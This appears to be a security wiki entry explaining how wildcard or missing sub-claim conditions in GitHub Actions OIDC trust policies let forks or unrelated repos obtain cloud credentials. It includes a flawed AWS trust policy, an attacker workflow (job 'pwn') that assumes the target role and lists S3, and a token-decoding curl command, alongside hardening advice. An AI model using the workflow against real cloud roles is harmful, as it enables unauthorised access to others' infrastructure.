GitHub Actions OIDC sub-claim wildcards
TL;DR: Trust policies that match the GitHub OIDC
subclaim withrepo:org/*or norepository_owner_idend up trusting forks, public PRs, and unrelated repos — anyone who can run a workflow there mints cloud credentials.
What it is
GitHub Actions issues an OIDC JWT to a workflow run, which AWS / Azure / GCP / Vault can federate against to hand back short-lived cloud creds. The trust policy on the cloud side decides which workflows it accepts, primarily by matching the sub claim of the form repo:<org>/<repo>:ref:refs/heads/<branch> (or :pull_request, :environment:<env>). Operators routinely write repo:my-org/*:ref:refs/heads/main thinking it scopes to one org, but StringLike on a wildcard tail lets a fork that names itself cleverly satisfy the condition. Worse patterns: sub of repo:* (accept any repo on GitHub), or omitting sub entirely and only checking the audience.
Preconditions / where it applies
- Cloud federation set up with GitHub’s OIDC provider (
token.actions.githubusercontent.com) on AWS / Azure / GCP / HashiCorp Vault. - Trust policy uses
StringLikewith wildcards, or only checksaud, or matches onrepository_owneronly by name (notrepository_owner_id, which is immutable). - Attacker can run a workflow under a
subvalue that matches the wildcard — could be a fork, a new repo in the same org, or any GitHub repo if the wildcard is too open.
Technique
- Read the cloud trust policy (sometimes leaked, sometimes inferable).
- Find a
subshape that satisfies it without being the intended workflow. - Run a workflow that requests an OIDC token and uses it to assume the role.
1
2
3
4
5
6
7
8
9
10
11
12
// Bad AWS trust policy — accepts any repo in the org, any branch
{
"Federated": "arn:aws:iam::1111:oidc-provider/token.actions.githubusercontent.com",
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:my-org/*"
},
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
# In ANY repo that satisfies the wildcard
permissions:
id-token: write
contents: read
jobs:
pwn:
runs-on: ubuntu-latest
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::1111:role/deployer
aws-region: us-east-1
- run: aws sts get-caller-identity && aws s3 ls
1
2
3
4
# Decode an OIDC token to see what sub the run actually presents
curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" \
| jq -r .value | cut -d. -f2 | base64 -d 2>/dev/null
Adjacent footguns: matching by repository_owner (an attacker can rename their org); using the deprecated actor claim (anyone can become an actor on a public repo); accepting :pull_request from forked PRs.
Detection and defence
- Always pin
subto a fully qualified value or useStringEquals(notStringLike), and addrepository_owner_id/repository_id(numeric, immutable) as additional conditions. - Constrain to specific refs (
ref:refs/heads/main,environment:prod) and enable required reviewers on protected environments. - Periodically scan IaC repos for federation trust policies and audit the conditions block.
- Related: aws-iam-enum, aws-organisations-abuse.
References
- Tinder Security — Identifying vulnerabilities in GitHub Actions / AWS OIDC — concrete misconfig patterns at scale.
- Praetorian — Hijacking GitHub Actions deployment pipelines via OIDC — escalation chains in AWS.
- GitHub docs — About security hardening with OpenID Connect — claim shape and recommended conditions.